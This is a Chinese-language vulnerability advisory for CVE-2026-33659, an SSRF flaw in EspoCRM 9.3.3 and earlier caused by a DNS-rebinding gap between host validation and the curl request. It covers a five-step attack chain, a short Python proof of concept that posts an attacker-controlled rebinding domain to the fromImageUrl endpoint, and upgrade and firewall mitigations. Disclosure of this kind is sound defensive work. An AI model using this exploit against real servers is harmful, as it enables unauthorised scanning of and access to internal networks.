IPBUF安全漏洞报告
English
CVE-2026-33659 CVSS 3.5 低危

CVE-2026-33659 EspoCRM存在SSRF漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-33659
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
EspoCRM

相关标签

SSRFEspoCRMDNS RebindingTOCTOU内网扫描

漏洞概述

EspoCRM是一款开源的客户关系管理应用程序。在9.3.3及以下版本中,POST /api/v1/Attachment/fromImageUrl接口存在服务端请求伪造(SSRF)漏洞。该漏洞源于主机验证逻辑中的DNS重绑定(TOCTOU)条件及空DNS结果处理缺陷。拥有低权限且具有默认附件创建权限的攻击者可利用此漏洞绕过内部IP限制,扫描内部网络端口、确认内部主机存在并与内部HTTP服务交互。虽然无法通过此端点提取二进制协议数据或执行远程代码,但该漏洞仍对内网安全构成风险。该问题已在9.3.4版本中修复。

技术细节

该漏洞的核心机制在于验证逻辑与实际请求逻辑之间的时间差(TOCTOU)以及解析器的不一致。在EspoCRM的受影响版本中,系统首先使用PHP的`dns_get_record()`函数对用户提供的URL主机名进行DNS解析和验证,以检查其是否指向内网IP。然而,在随后的HTTP请求中,curl库使用其内部的解析器(通常是`gethostbyname()`)再次解析同一主机名。攻击者可以利用DNS重绑定技术,控制DNS服务器在第一次查询时返回合法的外部IP,而在第二次查询时返回内部IP,从而绕过安全检查。此外,如果DNS查询失败(如IPv6-only域名或不存在的域名),`dns_get_record()`可能返回空结果,导致验证逻辑隐式允许该主机通过,进一步扩大了攻击面。

攻击链分析

STEP 1
步骤1
攻击者获取EspoCRM的低权限用户账户,该账户需具备默认的附件创建权限。
STEP 2
步骤2
攻击者准备一个恶意域名,并配置DNS服务器实施DNS重绑定攻击(首次解析返回合法IP,二次解析返回内网IP)。
STEP 3
步骤3
攻击者向POST /api/v1/Attachment/fromImageUrl接口发送包含恶意URL的请求。
STEP 4
步骤4
服务器使用dns_get_record()验证URL,此时DNS返回合法IP,验证通过。
STEP 5
步骤5
服务器使用curl发起实际请求,此时DNS解析为内网IP,导致服务器向内网目标发起连接,实现SSRF攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-33659 PoC - EspoCRM SSRF via DNS Rebinding # Target configuration target_url = "http://target-espocrm-url/api/v1/Attachment/fromImageUrl" attacker_cookie = "your_authenticated_session_id" # Malicious URL pointing to a domain controlled by the attacker # The attacker's DNS server should return a safe IP on first lookup (validation) # and an internal IP (e.g., 127.0.0.1 or 192.168.x.x) on second lookup (request) malicious_url = "http://attacker-controlled-dns-rebinding-domain.com" payload = { "url": malicious_url } headers = { "Cookie": f"EspoCRM-ID={attacker_cookie}", "Content-Type": "application/json" } try: # Send the malicious request to the vulnerable endpoint response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for signs of internal interaction.") print(f"[+] Response Body: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

EspoCRM <= 9.3.3

防御指南

临时缓解措施
建议立即升级至EspoCRM 9.3.4或更高版本。如果无法立即升级,建议在应用防火墙(WAF)层面对/api/v1/Attachment/fromImageUrl接口的入参进行严格的URL格式和IP白名单校验。此外,应通过网络策略限制EspoCRM服务器的出站连接,仅允许访问必要的外部服务,防止其被利用作为内网扫描的跳板。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表